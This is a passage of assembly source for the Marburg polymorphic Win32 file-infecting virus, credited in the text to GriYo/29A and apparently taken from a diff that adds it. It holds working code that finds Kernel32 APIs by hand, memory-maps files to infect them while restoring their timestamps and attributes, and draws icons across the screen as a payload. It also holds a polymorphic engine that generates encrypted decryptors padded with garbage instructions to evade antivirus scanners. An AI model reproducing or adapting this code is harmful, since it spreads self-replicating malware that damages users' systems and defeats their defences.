IBR_TypeOffset + + push ecx + xor eax,eax + lodsw + and ax,0FFFh + add eax,edx + cmp eax,dword ptr [edi+OH_AddressOfEntryPoint] + jae reloc_over_ep + +next_reloc: ;Follow relocations chain + + pop ecx + loop rblock_loop + jmp short do_reloc_work + +reloc_over_ep: ;Get number of bytes from entry-point to first relocation + + pop ecx + sub eax,dword ptr [edi+OH_AddressOfEntryPoint] + ret + +;············································································ +;Get entry point for GetProcAddress +;············································································ + +my_GetProcAddr: ; + ;Entry: + ; + ;a_Kernel32 - Base address for kernel32 + ; + ;Exit: + ; + ;eax - Entry point for GetProcAddress + ; or NULL if error + ; + + push ebx + + ;Check for MZ signature at base address + + cld + mov ebx,dword ptr [ebp+a_Kernel32] + cmp word ptr [ebx],IMAGE_DOS_SIGNATURE + jne e_GetProcAddr + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew] + add esi,ebx + lodsd + cmp eax,IMAGE_NT_SIGNATURE + jne e_GetProcAddr + + ;Get pointer to Image Export Directory and save it + + add esi,NT_OptionalHeader. \ + OH_DirectoryEntries. \ + DE_Export. \ + DD_VirtualAddress-0004h + lodsd + add eax,ebx + push eax + + ;Get pointer to exported function names + ;Also follow the AddressOfNameOrdinals array + + mov ecx,dword ptr [eax+ED_NumberOfNames] + mov edx,dword ptr [eax+ED_AddressOfNameOrdinals] + add edx,ebx + lea esi,dword ptr [eax+ED_AddressOfNames] + lodsd + add eax,ebx + +next_name: ;Search for GetProcAddress in exported function names + + push ecx + lea esi,dword ptr [ebp+szGetProcAddr] + mov edi,dword ptr [eax] + or edi,edi + jz try_next + +got_name_rva: ;Get absolute address + + add edi,ebx + + ;Compare names + + mov ecx,0000000Eh + repe cmpsb + je found_name + +try_next: ;Go to next name + + add eax,00000004h + add edx,00000002h + pop ecx + loop next_name + + ;Name not found, exit with error + + pop eax + jmp short e_GetProcAddr + +found_name: ;Ok, now edx is the index of the function, so + ;lets look at AddressOfNameOrdinals using that index + + pop ecx + pop edi + + ;Get ordinal for function + + movzx eax,word ptr [edx] + + ;Check if ordinal out of range + + cmp eax,[edi+ED_NumberOfFunctions] + jae short e_GetProcAddr + + ;This is the starting export ordinal number + + sub eax,dword ptr [edi+ED_BaseOrdinal] + inc eax + shl eax,02h + + ;Get address of function + + mov esi,dword ptr [edi+ED_AddressOfFunctions] + add esi,eax + add esi,ebx + lodsd + add eax,ebx + pop ebx + ret + +e_GetProcAddr: ;GetProcAddress not found, exit with error + + xor eax,eax + pop ebx + ret + +;············································································ +;Get KERNEL32 module handle if we cant get it using GetModuleHandle +;············································································ + +my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain + ; + ;Entry: + ; + ;ebx - Base address of host in memory + ; + ;Exit: + ; + ;eax - Kernel32 base address or NULL if error + ; + + ;Generate a mov esi,xxxx instruction + + db 0BEh + + ;This is just a rva that points to ID_ForwarderChain + ;field inside Kernel32 import module descriptor + +rva_kernel32 dd 00000000h + + ;Get Kernel32 entry point from ID_ForwarderChain + + add esi,ebx + lodsd + + ;Check for the MZ signature + + cmp word ptr [eax],IMAGE_DOS_SIGNATURE + jne err_getkernel + + ;Now go to the pe header and check for the PE signature + + mov esi,dword ptr [eax+DH_lfanew] + cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE + jne err_getkernel + + ret + +err_getkernel: ;Could not find KERNEL32 base addres :( + + xor eax,eax + ret + +;············································································ +;Get APIs entry point +;············································································ + +get_functions: ;Get the entry point for all KERNEL32 API functions + ;used by the virus + ; + ;Entry: + ; + ;None + ; + ;Exit: + ; + ;ecx - NULL if error + ; + + ;Dont fuck our host base address + + push ebx + + ;Get pointer to viral function names + + lea esi,dword ptr [ebp+viral_functions] + lea edi,dword ptr [ebp+viral_addresses] + + ;Get number of functions + + mov ecx,(offset viral_tbl_end-offset viral_functions)/04h + +get_each_ep: ;Get pointer to function name + + cld + lodsd + add eax,ebp + + ;Save counter and pointers + + push ecx + push esi + push edi + + ;Get entry point using GetProcAddress + + push eax + push dword ptr [ebp+a_Kernel32] + call dword ptr [ebp+a_GetProcAddr] + + ;Restore counter and pointers + + pop edi + pop esi + pop ecx + + ;Check if entry point is valid + + or eax,eax + jz exit_get_func + + ;Save function entry point + + cld + stosd + + ;Next function + + loop get_each_ep + +exit_get_func: ;Return, eax contains last function entry point or NULL + ;if error + + mov ecx,eax + pop ebx + ret + +;············································································ +;Open file and create it memory mapped image +;············································································ + +open_map_file: ; + ;Entry: + ; + ;my_FindData - FindData about file + ;szWorkDir - Buffer for path + name of file to infect + ; + ;Exit: + ; + ;eax - Base address of memory map for file + ; 00000000h if error + ; + + ;Reset attributes so we can get read/write access + ;to target file + + push FILE_ATTRIBUTE_NORMAL + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + or eax,eax + jz exit_open_map + + ;Open existing file + + xor eax,eax + push eax + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push eax + push eax + push GENERIC_READ or GENERIC_WRITE + lea eax,dword ptr [ebp+szWorkDir] + push eax + lea eax,dword ptr [ebp+a_CreateFile] + call dword ptr [ebp+a_CreateFile] + cmp eax,INVALID_HANDLE_VALUE + je exit_open_map + + ;Create filemapping over file + + mov dword ptr [ebp+CreateFile_h],eax + xor eax,eax + push eax + push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + push eax + push PAGE_READWRITE + push eax + push [ebp+CreateFile_h] + call dword ptr [ebp+a_CreateFileMap] + or eax,eax + jz Close_Create + + ;Map file in memory, get base address + + mov dword ptr [ebp+Mapping_h],eax + xor eax,eax + push dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + push eax + push eax + push FILE_MAP_WRITE + push [ebp+Mapping_h] + call dword ptr [ebp+a_MapViewOfFile] + or eax,eax + jz Close_Mapping + ret + +;············································································ +;Unmap memory mapped its associated file and close file handle +;············································································ + +unmap_close: ; + ;Entry: + ; + ;eax - File base address in memory + ; + ;Exit: + ; + ;None + ; + + push eax + call dword ptr [ebp+a_UnmapView] + +Close_Mapping: ;Close handle created by CreateFileMappingA + + push dword ptr [ebp+Mapping_h] + call dword ptr [ebp+a_CloseHandle] + +Close_Create: ;Restore file time + + lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime] + mov edx,00000008h + push eax + sub eax,edx + push eax + sub eax,edx + push eax + push dword ptr [ebp+CreateFile_h] + call dword ptr [ebp+a_SetFileTime] + + ;Close handle created by CreateFileA + + push dword ptr [ebp+CreateFile_h] + call dword ptr [ebp+a_CloseHandle] + + ;Restore file attributes + + push dword ptr [ebp+my_FindData.WFD_dwFileAttributes] + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + +exit_open_map: xor eax,eax + ret + +;············································································ +;Activation routine +;············································································ + +payload: ;Use LoadLibrary to get a valid handle over USER32.dll + + lea eax,dword ptr [ebp+szUSER32] + push eax + call dword ptr [ebp+a_LoadLibrary] + or eax,eax + jz exit_payload + mov dword ptr [ebp+a_User32],eax + + ;Get entry-point for LoadIcon + + lea edx,dword ptr [ebp+szLoadIcon] + push edx + push eax + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + ;Load custom icon + + push 32513 + xor edx,edx + push edx + call eax + or eax,eax + jz exit_payload + mov dword ptr [ebp+h_icon],eax + + ;Get entry-point for GetDC + + lea edx,dword ptr [ebp+szGetDC] + push edx + push dword ptr [ebp+a_User32] + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + ;Get device context for the screen + + xor edx,edx + push edx + call eax + or eax,eax + jz exit_payload + mov dword ptr [ebp+dc_screen],eax + + ;Get entry-point for DrawIcon + + lea edx,dword ptr [ebp+szDrawIcon] + push edx + push dword ptr [ebp+a_User32] + call dword ptr [ebp+a_GetProcAddr] + or eax,eax + jz exit_payload + + mov ecx,00000100h + +loop_payload: ;Draw some icons in random coordinates + + push eax + push ecx + mov edx,eax + push dword ptr [ebp+h_icon] + mov eax,00000800h + call get_rnd_range + push eax + mov eax,00000400h + call get_rnd_range + push eax + push dword ptr [ebp+dc_screen] + call edx + pop ecx + pop eax + loop loop_payload + + ;Print + +exit_payload: ret + +;············································································ +;Generate polymorphic encryption +;············································································ + +mutate: ;Initialize reg flags and random number generator + + call init_poly + + ;Select index reg + + call get_valid_reg + mov al,byte ptr [ebx+REG_MASK] + mov byte ptr [ebp+index_mask],al + or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX + + ;Select counter reg + + call get_valid_reg + mov al,byte ptr [ebx+REG_MASK] + mov byte ptr [ebp+counter_mask],al + or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER + + ;Get and save random displacement + ;Do not use any displacement if this field value is null + + call get_rnd32 + and eax,00000001h + jz ok_disp + call get_rnd32 +ok_disp: mov dword ptr [ebp+ptr_disp],eax + + ;Now get a random key + + call get_rnd32 + mov dword ptr [ebp+crypt_key],eax + + ;Now get some flags + + call get_rnd32 + mov byte ptr [ebp+build_flags],al + + ;Get size for INC/DEC procedures + + call get_rnd32 + and al,03h + cmp al,01h + je get_size_ok + cmp al,02h + je get_size_ok + inc al +get_size_ok: mov byte ptr [ebp+oper_size],al + + ;Where to put decryptor code + + lea edi,dword ptr [ebp+poly_decryptor+mem_size] + + ;Lets begin inserting some shit + + call gen_garbage + + ;Choose a random decryptor style + ;Each style uses the same build procedures, but + ;in diferent order + + mov eax,(end_styles-tbl_styles)/04h + call get_rnd_range + lea esi,dword ptr [ebp+tbl_styles+eax*04h] + lodsd + add eax,ebp + mov esi,eax + + ;Generator for decryptor styles + + ;Build initialization code + + mov ecx,00000003h + call gen_style_code + + ;Set the loop point in the middle of nowhere + + push esi + call gen_garbage + mov dword ptr [ebp+loop_point],edi + call gen_garbage + pop esi + + ;Build loop code + + mov ecx,00000004 + call gen_style_code + + ;Insert a jump to virus code + + mov al,0E9h + stosb + lea eax,dword ptr [ebp+Mem_Base+mem_size] + sub eax,edi + sub eax,00000004h + stosd + + ;Some garbage + + call gen_rnd_block + + ;Now do encryption + + lea edi,dword ptr [ebp+Mem_Base+mem_size] + call fixed_size2ecx +loop_hide_code: push ecx + mov eax,dword ptr [edi] + call perform_crypt + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] +loop_copy_res: stosb + shr eax,08h + loop loop_copy_res + pop ecx + loop loop_hide_code + + ;Exit polymorphic engine + + ret + +;············································································ +;Generator for decryptor styles +;············································································ + +gen_style_code: lodsd + add eax,ebp + push ecx + push esi + call eax + call gen_garbage + pop esi + pop ecx + loop gen_style_code + ret + +;············································································ +;Perform encryption +;············································································ + +perform_crypt: ;Place for encryption code + + db 10h dup (00h) + +;············································································ +;Generate decryptor action: Get delta offset +;············································································ + +gen_get_delta: ;This is the CALL opcode + + mov al,0E8h + stosb + + ;Save the place for the calling address + + stosd + mov dword ptr [ebp+delta_call],edi + push edi + + ;Generate some random data + + call gen_rnd_block + + ;Get displacement from CALL instruction to destination + ;address + + mov eax,edi + pop esi + sub eax,esi + + ;Put destination address after CALL opcode + + mov dword ptr [esi-00000004h],eax + + ;Generate some garbage code into destination address + + call gen_garbage + + ;Choose method + + mov eax,(end_delta_mode-tbl_delta_mode)/04h + call get_rnd_range + mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h] + add eax,ebp + jmp eax + +delta_method_1: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop index_reg + ; ... + + call gen_pop_index + ret + +delta_method_2: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop reg_1 + ; ... + ; mov reg_index,reg_1 + ; ... + + call gen_pop_reg_1 + mov ah,byte ptr [ebp+index_mask] + shl ah,03h + or ah,byte ptr [ebx+REG_MASK] + or ah,0C0h + mov al,8Bh + stosw + ret + +delta_method_3: ;Generate: + ; + ; call get_delta + ; ... + ; get_delta: + ; ... + ; pop reg_1 + ; ... + ; push reg_1 + ; ... + ; pop reg_index + ; ... + + call gen_pop_reg_1 + mov al,50h + or al,byte ptr [ebx+REG_MASK] + stosb + call gen_garbage + call gen_pop_index + ret + +gen_pop_index: ;Generate pop reg_index + garbage + + mov al,58h + or al,byte ptr [ebp+index_mask] + stosb + call gen_garbage + ret + +gen_pop_reg_1: ;Generate pop reg_1 + garbage + + call get_valid_reg + mov al,58h + or al,byte ptr [ebx+REG_MASK] + stosb + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + push ebx + call gen_garbage + pop ebx + + ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ret + +;············································································ +;Generate decryptor action: Fix pointer +;············································································ + +gen_fix_ptr: ;Get displacement + offset of code to decrypt + + lea eax,dword ptr [ebp+Mem_Base+mem_size] + add eax,dword ptr [ebp+ptr_disp] + sub eax,dword ptr [ebp+delta_call] + + ;Check direction + + test byte ptr [ebp+build_flags],CRYPT_DIRECTION + jz fix_dir_ok + + ;Direction is from top to bottom + + push eax + call fixed_size2ecx + xor eax,eax + mov al,byte ptr [ebp+oper_size] + push eax + mul ecx + pop ecx + sub eax,ecx + pop ecx + add eax,ecx +fix_dir_ok: push eax + + ;Fix using ADD or SUB + + call get_rnd32 + and al,01h + jz fix_with_sub + +fix_with_add: ;Generate ADD reg_index,fix_value + + mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + jmp short fix_done + +fix_with_sub: ;Generate SUB reg_index,-fix_value + + mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + +fix_done: stosd + ret + +;············································································ +;Generate decryptor action: Load counter +;············································································ + +gen_load_ctr: ;Easy now, just move counter random initial value + ;into counter reg and calc end_value + + mov al,0B8h + or al,byte ptr [ebp+counter_mask] + stosb + call fixed_size2ecx + call get_rnd32 + stosd + test byte ptr [ebp+build_flags],CRYPT_CDIR + jnz counter_down +counter_up: add eax,ecx + jmp short done_ctr_dir +counter_down: sub eax,ecx +done_ctr_dir: mov dword ptr [ebp+end_value],eax + ret + +;············································································ +;Generate decryptor action: Decrypt +;············································································ + +gen_decrypt: ;Check if we are going to use a displacement + + mov eax,dword ptr [ebp+ptr_disp] + or eax,eax + jnz more_complex + + ;Choose generator for [reg] indexing mode + + mov edx,offset tbl_idx_reg + call choose_magic + jmp you_got_it + +more_complex: ;More fun?!?! + + mov al,byte ptr [ebp+build_flags] + test al,CRYPT_SIMPLEX + jnz crypt_xtended + + ;Choose generator for [reg+imm] indexing mode + + mov edx,offset tbl_dis_reg + call choose_magic + +you_got_it: ;Use magic to convert some values into + ;desired instructions + + call size_correct + mov dl,byte ptr [ebp+index_mask] + lodsb + or al,al + jnz adn_reg_01 + cmp dl,00000101b + je adn_reg_02 +adn_reg_01: lodsb + or al,dl + stosb + jmp common_part +adn_reg_02: lodsb + add al,45h + xor ah,ah + stosw + jmp common_part + +crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp] + + test al,CRYPT_COMPLEX + jz ok_complex + + ;Get random displacement from current displacement + ;eeehh?!? + + mov eax,00000010h + call get_rnd_range + sub dword ptr [ebp+ptr_disp],eax + call load_aux + push ebx + call gen_garbage + + ;Choose generator for [reg+reg+imm] indexing mode + + mov edx,offset tbl_paranoia + call choose_magic + jmp short done_xtended + +ok_complex: mov eax,dword ptr [ebp+ptr_disp] + call load_aux + push ebx + call gen_garbage + + ;Choose generator for [reg+reg] indexing mode + + mov edx,offset tbl_xtended + call choose_magic + +done_xtended: ;Build decryptor instructions + + call size_correct + pop ebx + mov dl,byte ptr [ebp+index_mask] + lodsb + mov cl,al + or al,al + jnz arn_reg_01 + cmp dl,00000101b + jne arn_reg_01 + lodsb + add al,40h + stosb + jmp short arn_reg_02 +arn_reg_01: movsb +arn_reg_02: mov al,byte ptr [ebx+REG_MASK] + shl al,03h + or al,dl + stosb + or cl,cl + jnz arn_reg_03 + cmp dl,00000101b + jne arn_reg_03 + xor al,al + stosb + +arn_reg_03: ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + +common_part: ;Get post-build flags + + lodsb + + ;Insert displacement from real address? + + test al,MAGIC_PUTDISP + jz skip_disp + push eax + mov eax,dword ptr [ebp+ptr_disp] + neg eax + stosd + pop eax + +skip_disp: ;Insert key? + + test al,MAGIC_PUTKEY + jz skip_key + call copy_key + +skip_key: ;Generate reverse code + + call do_reverse + + ret + +;············································································ +;Choose a magic generator +;············································································ + +choose_magic: mov eax,00000006h + call get_rnd_range + add edx,ebp + lea esi,dword ptr [edx+eax*04h] + lodsd + add eax,ebp + mov esi,eax + ret + +;············································································ +;Do operand size correction +;············································································ + +size_correct: lodsb + mov ah,byte ptr [ebp+oper_size] + cmp ah,01h + je store_correct + inc al + cmp ah,04h + je store_correct + mov ah,66h + xchg ah,al + stosw + ret +store_correct: stosb + ret + +;············································································ +;Load aux reg with displacement +;············································································ + +load_aux: ;Get a valid auxiliary register + + push eax + call get_valid_reg + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ;Move displacement into aux reg + + mov al,0B8h + or al,byte ptr [ebx+REG_MASK] + stosb + pop eax + neg eax + stosd + ret + +;············································································ +;Generate crypt-code +;············································································ + +do_reverse: xor eax,eax + mov al,byte ptr [ebp+oper_size] + shr eax,01h + shl eax,02h + add esi,eax + lodsd + add eax,ebp + mov esi,eax + push edi + lea edi,dword ptr [ebp+perform_crypt] +loop_string: lodsb + cmp al,MAGIC_ENDSTR + je end_of_magic + cmp al,MAGIC_ENDKEY + je last_spell + xor ecx,ecx + mov cl,al + rep movsb + jmp short loop_string +last_spell: call copy_key +end_of_magic: mov al,0C3h + stosb + pop edi + ret + +;············································································ +;Copy encryption key into work buffer taking care about operand size +;············································································ + +copy_key: mov eax,dword ptr [ebp+crypt_key] + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] +loop_key: stosb + shr eax,08h + loop loop_key + ret + +;············································································ +;Generate decryptor action: Move index to next step +;············································································ + +gen_next_step: ;Get number of bytes to inc or dec the index reg + + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] + +loop_update: ;Get number of bytes to update with this instruction + + mov eax,ecx + call get_rnd_range + inc eax + + ;Check direction + + test byte ptr [ebp+build_flags],CRYPT_DIRECTION + jnz step_down + + call do_step_up + jmp short next_update + +step_down: call do_step_down + +next_update: sub ecx,eax + jecxz end_update + jmp short loop_update +end_update: ret + +do_step_up: ;Move index_reg up + + or eax,eax + jz up_with_inc + + ;Now choose ADD or SUB + + push eax + call get_rnd32 + and al,01h + jnz try_sub_1 + +try_add_1: mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + stosd + ret + +try_sub_1: mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + stosd + neg eax + ret + +up_with_inc: ;Generate INC reg_index + + mov al,40h + or al,byte ptr [ebp+index_mask] + stosb + mov eax,00000001h + ret + +do_step_down: ;Move index_reg down + + or eax,eax + jz down_with_dec + + ;Now choose ADD or SUB + + push eax + call get_rnd32 + and al,01h + jnz try_sub_2 + +try_add_2: mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + stosd + neg eax + ret + +try_sub_2: mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + stosd + ret + +down_with_dec: ;Generate DEC reg_index + + mov al,48h + or al,byte ptr [ebp+index_mask] + stosb + mov eax,00000001h + ret + +;············································································ +;Generate decryptor action: Next counter value +;············································································ + +gen_next_ctr: ;Check counter direction and update counter + ;using a INC or DEC instruction + + test byte ptr [ebp+build_flags],CRYPT_CDIR + jnz upd_ctr_down +upd_ctr_up: mov al,40h + or al,byte ptr [ebp+counter_mask] + jmp short upd_ctr_ok +upd_ctr_down: mov al,48h + or al,byte ptr [ebp+counter_mask] +upd_ctr_ok: stosb + ret + +;············································································ +;Generate decryptor action: Loop +;············································································ + +gen_loop: ;Use counter reg in CMP instruction? + + test byte ptr [ebp+build_flags],CRYPT_CMPCTR + jnz doloopauxreg + + ;Generate CMP counter_reg,end_value + + mov ax,0F881h + or ah,byte ptr [ebp+counter_mask] + stosw + mov eax,dword ptr [ebp+end_value] + stosd + + jmp doloopready + +doloopauxreg: ;Get a random valid register to use in a CMP instruction + + call get_valid_reg + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ;Move index reg value into aux reg + + mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [ebp+counter_mask] + or ah,0C0h + mov al,8Bh + stosw + + ;Guess what!? + + push ebx + call gen_garbage + pop ebx + + ;Generate CMP aux_reg,end_value + + mov ax,0F881h + or ah,byte ptr [ebx+REG_MASK] + stosw + mov eax,dword ptr [ebp+end_value] + stosd + + ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + +doloopready: ;Generate the following structure: + ; + ; loop_point: + ; ... + ; cmp reg,x + ; jne loop_point + ; ... + ; jmp virus + ; ... + + mov ax,850Fh + stosw + mov eax,dword ptr [ebp+loop_point] + sub eax,edi + sub eax,00000004h + stosd + ret + +;············································································ +;Generate some garbage code +;············································································ + +gen_garbage: ;More recursive levels allowed? + + inc byte ptr [ebp+recursive_level] + cmp byte ptr [ebp+recursive_level],03h + jae exit_gg + + ;Well, we can call this routine from lots of places + ;in the virus, so take care about direction flag + + cld + + ;Choose garbage generator + + mov eax,00000003h + call get_rnd_range + inc eax + mov ecx,eax +loop_garbage: push ecx + mov eax,(end_garbage-tbl_garbage)/04h + call get_rnd_range + lea esi,dword ptr [ebp+tbl_garbage+eax*04h] + lodsd + add eax,ebp + call eax + pop ecx + loop loop_garbage + + ;Update recursive level + +exit_gg: dec byte ptr [ebp+recursive_level] + ret + +;············································································ +;Generate MOV reg,imm +;············································································ + +g_movreg32imm: ;Generate MOV reg32,imm + + call get_valid_reg + mov al,0B8h + or al,byte ptr [ebx+REG_MASK] + stosb + call get_rnd32 + stosd + ret + +g_movreg16imm: ;Generate MOV reg16,imm + + call get_valid_reg + mov ax,0B866h + or ah,byte ptr [ebx+REG_MASK] + stosw + call get_rnd32 + stosw + ret + +g_movreg8imm: ;Generate MOV reg8,imm + + call get_valid_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movreg8imm + call get_rnd32 + mov al,0B0h + or al,byte ptr [ebx+REG_MASK] + push eax + call get_rnd32 + pop edx + and ax,0004h + or ax,dx + stosw +a_movreg8imm: ret + + +;············································································ +;Generate mov reg,reg +;············································································ + +g_movregreg32: call get_rnd_reg + push ebx + call get_valid_reg + pop edx + cmp ebx,edx + je a_movregreg32 +c_movregreg32: mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [edx+REG_MASK] + or ah,0C0h + mov al,8Bh + stosw +a_movregreg32: ret + +g_movregreg16: call get_rnd_reg + push ebx + call get_valid_reg + pop edx + cmp ebx,edx + je a_movregreg32 + mov al,66h + stosb + jmp short c_movregreg32 + +g_movregreg8: call get_rnd_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movregreg8 + push ebx + call get_valid_reg + pop edx + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movregreg8 + cmp ebx,edx + je a_movregreg8 + mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [edx+REG_MASK] + or ah,0C0h + mov al,8Ah + push eax + call get_rnd32 + pop edx + and ax,2400h + or ax,dx + stosw +a_movregreg8: ret + +;············································································ +;Generate MOVZX/MOVSX reg32,reg16 +;············································································ + +g_movzx_movsx: call get_rnd32 + mov ah,0B7h + and al,01h + jz d_movzx + mov ah,0BFh +d_movzx: mov al,0Fh + stosw + call get_rnd_reg + push ebx + call get_valid_reg + pop edx + mov al,byte ptr [ebx+REG_MASK] + shl al,03h + or al,0C0h + or al,byte ptr [edx+REG_MASK] + stosb + ret + +;············································································ +;Generate ADD/SUB/XOR/OR/AND reg,imm +;············································································ + +g_mathregimm32: mov al,81h + stosb + call get_valid_reg + call do_math_work + stosd + ret + +g_mathregimm16: mov ax,8166h + stosw + call get_valid_reg + call do_math_work + stosw + ret + +g_mathregimm8: call get_valid_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_math8 + mov al,80h + stosb + call do_math_work + stosb + and ah,04h + or byte ptr [edi-00000002h],ah +a_math8: ret + +do_math_work: mov eax,end_math_imm-tbl_math_imm + call get_rnd_range + lea esi,dword ptr [ebp+eax+tbl_math_imm] + lodsb + or al,byte ptr [ebx+REG_MASK] + stosb + call get_rnd32 + ret + +;············································································ +;Generate push reg + garbage + pop reg +;············································································ + +g_push_g_pop: ;Note that garbage generator can call itself in a + ;recursive way, so structures like the following + ;example can be produced + ; + ; push reg_1 + ; ... + ; push reg_2 + ; ... + ; pop reg_2 + ; ... + ; pop reg_1 + ; + + call get_rnd_reg + mov al,50h + or al,byte ptr [ebx+REG_MASK] + stosb + call gen_garbage + call get_valid_reg + mov al,58h + or al,byte ptr [ebx+REG_MASK] + stosb + ret + +;············································································ +;Generate unconditional jumps +;············································································ + +g_jump_u: mov al,0E9h + stosb + push edi + stosd + call gen_rnd_block + pop edx + mov eax,edi + sub eax,edx + sub eax,00000004h + mov dword ptr [edx],eax + ret + +;············································································ +;Generate conditional jumps +;············································································ + +g_jump_c: call get_rnd32 + and ah,0Fh + add ah,80h + mov al,0Fh + stosw + push edi + stosd + call gen_garbage + pop edx + mov eax,edi + sub eax,edx + sub eax,00000004h + mov dword ptr [edx],eax + ret + +;············································································ +;Generate one byte garbage code that does not change reg values +;············································································ + +gen_save_code: mov eax,end_save_code-tbl_save_code + call get_rnd_range + mov al,byte ptr [ebp+tbl_save_code+eax] + stosb + ret + +;············································································ +;Initialize register table +;············································································ + +init_poly: ;We can call this routine from lots of places, so + ;take care about direction flag + + cld + + ;Initialize random number generator + ;Use current day + hour as seed + + mov eax,dword ptr [ebp+time_day] + mov dword ptr [ebp+rnd32_seed],eax + + ;Initialize register table + + lea esi,dword ptr [ebp+tbl_startup] + lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS] + mov ecx,00000007h +loop_init_regs: movsb + inc edi + loop loop_init_regs + + ;Clear recursive level counter + + mov dword ptr [ebp+recursive_level],ecx + + ret + +;············································································ +;Get a ramdom reg +;············································································ + +get_rnd_reg: mov eax,00000007h + call get_rnd_range + lea ebx,dword ptr [ebp+tbl_regs+eax*02h] + ret + +;············································································ +;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX) +;············································································ + +get_valid_reg: call get_rnd_reg + mov al,byte ptr [ebx+REG_FLAGS] + and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY + jnz get_valid_reg + ret + +;············································································ +;Load ecx with crypt_size / oper_size +;············································································ + +fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] + shr ecx,01h + or ecx,ecx + jz ok_2ecx + shr eax,cl + jnc ok_2ecx + inc eax +ok_2ecx: mov ecx,eax + ret + +;············································································ +;Generate a block of random data +;············································································ + +gen_rnd_block: ;Generate up to 27 random bytes + + mov eax,00000004h + mov ecx,eax + call get_rnd_range + add ecx,eax + cld + +rnd_fill_loop: ;Fill loop, get random dword + + call get_rnd32 + stosd + loop rnd_fill_loop + ret + +;············································································ +;Linear congruent pseudorandom number generator +;············································································ + +get_rnd32: push ecx + push edx + mov eax,dword ptr [ebp+rnd32_seed] + mov ecx,eax + imul eax,41C64E6Dh + add eax,00003039h + mov dword ptr [ebp+rnd32_seed],eax + xor eax,ecx + pop edx + pop ecx + ret + +;············································································ +;Returns a random num between 0 and entry eax +;············································································ + +get_rnd_range: push ecx + push edx + mov ecx,eax + call get_rnd32 + xor edx,edx + div ecx + mov eax,edx + pop edx + pop ecx + ret + +;············································································ + + ;Virus initialized data + + ;Copyright notice + + db "[ Marburg ViRuS BioCoded by GriYo/29A ]" + + ;Array of RVAs to function names + +viral_functions equ this byte + + dd offset szCreateFileA + dd offset szCreateFileMap + dd offset szMapViewOfFile + dd offset szUnmapView + dd offset szCloseHandle + dd offset szFindFirst + dd offset szFindNext + dd offset szFindClose + dd offset szVirtualAlloc + dd offset szGetWinDir + dd offset szGetSysDir + dd offset szGetCurDir + dd offset szSetFileAttr + dd offset szSetFileTime + dd offset szDeleteFile + dd offset szGetCurProc + dd offset szWriteProcMem + dd offset szLoadLibrary + dd offset szGetSysTime + +viral_tbl_end equ this byte + + ;Names of modules used by the virus + +szKernel32 db "KERNEL32.dll",00h +szUSER32 db "USER32.dll",00h + + ;Kernel32 APIs used by the virus + +szGetModuleH db "GetModuleHandleA",00h +szGetProcAddr db "GetProcAddress",00h +szCreateFileA db "CreateFileA",00h +szCreateFileMap db "CreateFileMappingA",00h +szMapViewOfFile db "MapViewOfFile",00h +szUnmapView db "UnmapViewOfFile",00h +szCloseHandle db "CloseHandle",00h +szFindFirst db "FindFirstFileA",00h +szFindNext db "FindNextFileA",00h +szFindClose db "FindClose",00h +szVirtualAlloc db "VirtualAlloc",00h +szGetWinDir db "GetWindowsDirectoryA",00h +szGetSysDir db "GetSystemDirectoryA",00h +szGetCurDir db "GetCurrentDirectoryA",00h +szSetFileAttr db "SetFileAttributesA",00h +szSetFileTime db "SetFileTime",00h +szDeleteFile db "DeleteFileA",00h +szGetCurProc db "GetCurrentProcess",00h +szWriteProcMem db "WriteProcessMemory",00h +szLoadLibrary db "LoadLibraryA",00h +szGetSysTime db "GetSystemTime",00h + + ;User32 APIs used by the virus + +szGetDC db "GetDC",00h +szLoadIcon db "LoadIconA",00h +szDrawIcon db "DrawIcon",00h + + ;Names of AV checksum files + 